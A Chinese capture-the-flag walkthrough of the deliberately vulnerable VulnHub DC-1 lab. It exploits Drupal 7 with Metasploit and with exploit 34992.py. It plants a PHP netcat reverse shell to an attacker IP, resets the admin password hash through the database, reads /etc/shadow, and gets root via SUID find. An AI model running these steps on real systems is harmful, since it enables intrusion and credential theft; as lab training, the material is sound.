当前位置: 首页 > article >正文

靶机系列|VULNHUB|DC-1

免责声明:

笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。

泷羽sec官网:https://longyusec.com/

泷羽sec B站地址:https://space.bilibili.com/350329294

泷羽sec帮会:https://wiki.freebuf.com/front/societyFront?invitation_code=5a2005d9&society_id=239&source_data=2

基础介绍

DC-1 是一个专门建造的易受攻击实验室,目的是获得渗透测试领域的经验。

它旨在为初学者提供挑战,但它的难易程度取决于您的技能和知识,以及您的学习能力。

要成功完成此挑战,您需要具备 Linux 技能、熟悉 Linux 命令行以及使用基本渗透测试工具的经验,例如可以在 Kali Linux 或 Parrot Security OS 上找到的工具。

总共有五个标志,但最终目标是在 root 的主目录中找到并读取标志。您甚至不需要是 root 即可执行此操作,但是,您将需要 root 权限。

根据您的技能水平,您可以跳过查找大多数这些标志并直接进入 root。

初学者可能会遇到他们以前从未遇到过的挑战,但只需 Google 搜索即可获得完成此挑战所需的信息。

下载链接

https://download.vulnhub.com/dc/DC-1.zip

https://pan.baidu.com/s/1grHDHwYKhMTCfFe_4-h4zQ?pwd=q7ik

Tips

如果导入虚拟机之后,发现扫描不到,可以看一下DC-1的网络设置是否是NAT模式。如果是在DC-1虚拟机开机状态下进行的修改,保存之后还需要重启一次才会生效。

image.png

攻击流程

使用Metasploit的攻击流程

首先查看一下攻击机的ip,包括掩码位数,命令ip a

image.png

可以看到eth0的网卡掩码位数为24位,下一步探测存活主机,通过netdiscover命令探活

netdiscover -r 192.168.116.0/24

  • -r 参数指定了扫描的模式,这里 -r 表示进行ARP请求扫描(ARP Request scan),这是一种通过发送ARP请求包来发现同一局域网内其他设备的方法。ARP(地址解析协议)用于将网络层协议地址(如IPv4地址)映射到链路层地址(如以太网MAC地址)。
  • 192.168.116.0/24 指定了要扫描的网络范围。这里的 /24 表示子网掩码,意味着前24位是网络地址部分,后8位是主机地址部分。因此,这个范围包括了从 192.168.116.0192.168.116.255 的所有可能IP地址。
image.png

经过上一步查询攻击机的ip,加上对其余ip地址的判读,192.168.116.1192.168.116.2都是网关地址,192.168.116.254为广播地址,所以很轻松的发现靶机的ip,是192.168.116.133

对靶机进行端口探测,使用命令nmap 192.168.116.133

image.png

发现80端口开放,进一步对http服务进行信息收集,使用命令whatweb -v http://192.168.116.133

whatweb 是一个开源的命令行工具,用于识别和分析网站的特性,包括它们所使用的技术栈、内容管理系统(CMS)、编程语言、框架等。

-v 参数表示“verbose”(详细模式),这意味着 whatweb 会输出更详细的信息,包括它尝试的每个插件的结果,而不仅仅是它成功识别的内容。

image.png

收集到的相关信息是:网站是基于Drupalcms框架开发的、apache版本是2.2.22php版本是5.4.45

针对于Drupal进行攻击,打开Metasploit,命令是msfconsole搜索相关漏洞,search drupal 7

image.png

目前并不清楚哪个能用,哪个不能用,所以就按顺序来,首先use 1,然后通过options查看配置相关情况

image.png

Required栏下面的,写有yes的即为必填项,该模块有四个必填项,只有一个RHOSTS是空的,那手动配置一下,命令是set rhosts 192.168.116.133

image.png

配置完成之后,就可以发起攻击了,命令是exploit

image.png

可以看到成功上线,下一步就是获取交互式的shell环境,首先键入命令shell,再通过命令python -c "import pty;pty.spawn('/bin/bash')"获取到交互式的shell

import pty;pty.spawn('/bin/bash') 这行代码是Python语言中的一段代码,用于在Python环境中启动一个新的bash shell会话。

  1. import pty:这部分代码导入了Python的pty模块。pty模块提供了一组函数,用于伪终端(pseudo-terminal)的创建和操作。伪终端是一种软件接口,它模拟了硬件终端的功能,允许程序以类似于终端的方式与用户交互。
  2. pty.spawn('/bin/bash'):这部分代码调用了pty模块的spawn函数,并传递了'/bin/bash'作为参数。spawn函数的作用是启动一个新的进程,并为其分配一个伪终端。在这个例子中,它启动了一个新的bash shell进程。
    • '/bin/bash'是bash shell的可执行文件路径,在大多数Unix-like系统(如Linux和macOS)上,bash shell是默认的命令行解释器。

发现了第一个flag

image.png
Every good CMS needs a config file - and so do you.

每个优秀的CMS都需要一个配置文件 - 你也一样。

话不多说,搜搜配置文件,命令find . -name set*

  • find:是用于在文件系统中搜索文件和目录的命令。
  • .:指定搜索的起始目录,. 表示当前目录。
  • -name:是一个选项,告诉 find 命令要根据文件名来搜索。
  • set*:指定了要搜索的文件名模式。星号(*)是一个通配符,表示任意数量的任意字符。因此,set* 会匹配任何以 “set” 开头的文件名。

注意,输出的路径是相对于你执行命令时所在的当前目录的。

image.png

通过查看相关配置文件,发现了flag2以及数据库相关的一些信息

Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?

暴力破解和字典攻击并不是获取访问权限的唯一方法(而且你确实需要获得访问权限)。那么,拥有这些凭证后你可以做些什么呢?
image.png

发现了数据库的相关信息,类型为mysql,用户名为dbuser,密码为R0ck3t

登陆数据库,命令为mysql -u dbuser -pR0ck3t,需要注意的是,-p指定的密码需要紧贴着输入,不要键入空格。

image.png

成功登录之后,查看数据库,show databases,通过之前查询配置文件可知,数据库名为drupaldb,使用该数据库,use drupaldb,进一步查询库中信息,show tables

image.png

查询到了一个users表,继续深挖select * from users\G;

在SQL中,\G 是一个特殊的格式化选项,通常用在MySQL或MariaDB这样的数据库管理系统中。当你执行一个查询并希望结果以垂直格式显示时,可以在查询语句的末尾加上 \G

image.png

虽然查询到了管理员的账号密码,但是很显然,密码被哈希加密了,这种不可逆的加密算法肯定不能指望爆破了,还是尝试从配置文件入手find . -name *hash*

image.png
  • *hash*:指定了要搜索的文件名模式。星号(*)是一个通配符,表示任意数量的任意字符。*hash* 会匹配任何包含 “hash” 字符串的文件名。

查询到了一个shell脚本,驱动脚本,获得正确打开方式

password-hash.sh "mynewpassword"

image.png

获得了一串哈希加密的字符串,将这串字符串更新为管理员的密码

update users set pass="$S$DgB9EplXT2HnSqml6iNRonAmDA2mSti7696/E1ZUlsMW0lLxuxy0" where uid=1;

image.png

更新成功后,即可去登录

image.png

登陆成功后,发现flag

image.png
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow

特殊的权限(PERMS)将帮助找到passwd文件 - 但你需要执行(-exec)那个命令来弄清楚如何获取shadow文件中的内容。

提示要查找passwd,还提到了shadow文档以及find命令exec命令,刚才通过Metasploit拿到的最多也就是apache权限,不可能有权限查询shadow文档,结合提示,考虑用到findsuid提权

find flag1.txt -exec cat /etc/shadow \;

image.png

查询到了存在flag4用户,密码同样被哈希加密了。尝试查看/etc/passwd文档,看看是否有发现

image.png

找到了flag4用户的家目录,切换到目录下,发现了flag4

Can you use this same method to find or access the flag in root?Probably.But perhaps it's not that easy. Or maybe it is?

你能使用同样的方法来查找或访问 root 目录下的标志(flag)吗?可能吧。但也许没那么容易。或者也许很容易?
image.png

同样的方法大概指的是flagexec的组合,又提到了root,那就通过命令find flag4.txt -exec "/bin/sh" \;来提权

image.png

提权成功,切换到/root目录下,查看最后一个flag

image.png
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7

做得好!!!!

希望你享受了这次体验,并且学到了一些新技能。

你可以通过Twitter(@DCAU7)联系我,告诉我你对这次小旅程的看法。

打完收工!


不使用Metasploit的攻击流程

探查ip与扫描端口的方式与上面的操作一致,就不再赘述了。

通过searchsploit工具搜索漏洞searchsploit drupal 7

image.png

由于并不知晓哪个脚本可以使用,所以就先按顺序使用,首先下载符合版本的第一个模块,命令是searchsploit -m 34992.py

image.png

将利用脚本下载到当前路径下之后,通过命令python2 34992.py来运行脚本会获得帮助文档

image.png

通过命令python2 34992 -t http://192.168.116.142 -u f4uit -p root新建管理员用户

image.png

成功后会返回用户名和密码,以及一个登陆链接,打开URL,键入用户名密码,即可完成登录。

image.png

Content导航栏即可找到flag3

image.png image.png

发现可以编辑文档,打算写php格式的反弹shell的命令,但是发现当前的编辑环境并不支持php格式,需要手动添加一下。导航栏处选择Modules板块,然后快捷键Crtl+F搜索关键词php

image.png image.png

将这个勾打上之后,滑到页面最下方点击保存。还没结束,需要再次找到这个模块,点击Permissions,进入到配置页面,打开管理员使用权限的开关

image.png image.png

这样保存之后,即可写入相关的php格式的命令了。

先以phpinfo试验一下配置是否生效

<?php phpinfo();?>
image.png

可以看到很顺利的解析执行了

image.png

下面执行反弹shell的命令

<?php system('nc -e /bin/bash 192.168.116.130 12345')?>

使用system函数调用nc(Netcat)命令,并通过-e选项将/bin/bash(Bash shell)绑定到指定的IP地址和端口上。这种做法通常用于创建一个反向shell,允许远程用户通过指定的端口访问并执行服务器上的命令。

image.png

同一时间,在攻击机上使用命令nc -lp 12345开启监听

  • -l 选项告诉 Netcat 以监听模式运行,即它会等待并接受来自其他主机的连接。
  • -p 选项后面跟的是端口号,这里是 12345
image.png

顺利回弹,查看flag4的操作与上面的方式一样,就不多说了

补充一个查找suid提权命令的操作,find / -perm -u=s

  • -perm:这个选项用于根据文件的权限位来搜索文件。
  • -u=s:这指定了要搜索的特定权限位。-u=s 表示搜索设置了 SUID 位的文件。SUID 位允许用户在执行文件时以文件所有者的权限运行,而不是以执行该文件的用户的权限运行。

find 命令的 -perm 选项中,- 通常用于表示“精确匹配”权限位,而 + 用于表示“至少包含”指定的权限位。但是,对于 SUID、SGID(Set Group ID)和 sticky 位(粘滞位),find 命令的行为略有不同。对于 SUID、SGID 和 sticky 位,find 命令实际上会忽略 -+ 前缀,并只检查指定的位是否被设置。

image.png

利用find可以获得root权限

image.png

剩下的操作就与上面如出一辙了,获取root权限的shell,然后切换到root目录下, 查看最后一个flag,就不多说了。


http://www.kler.cn/a/453814.html

相关文章:

  • Vue.js组件开发-使用vue-pdf显示PDF
  • RK3568平台开发系列讲解(中断及异常篇)Linux 中断系统中的重要数据结构
  • v语言介绍
  • deepin 安装 kafka
  • 传统网络架构与SDN架构对比
  • Qt笔记:网络编程UDP
  • 智慧交通-Android车牌识别接口-车牌识别系统
  • 【提审】Android包提审报权限问题
  • excel技巧:excel文件怎么加密防止泄密?加密Excel文件的四种方法
  • 微机接口课设——基于Proteus和8086的打地鼠设计(8255、8253、8259)Proteus中Unknown 1-byte opcode / Unknown 2-byte opcode错误
  • 【Compose multiplatform教程09】【组件】Image组件
  • Effective C++ 条款 04:确定对象被使用前已先被初始化
  • flask后端开发(9):ORM模型外键+迁移ORM模型
  • Java重要面试名词整理(七):分库分表
  • redis使用注意哪些事项
  • 深入理解Nginx工作原理及优化技巧
  • 子网掩码计算route命令
  • Spark常用的转化操作和动作操作详解
  • Linux系统编程——理解系统内核中的信号捕获
  • 深度学习-76-大模型量化之压缩映射方法和量化校准方法简介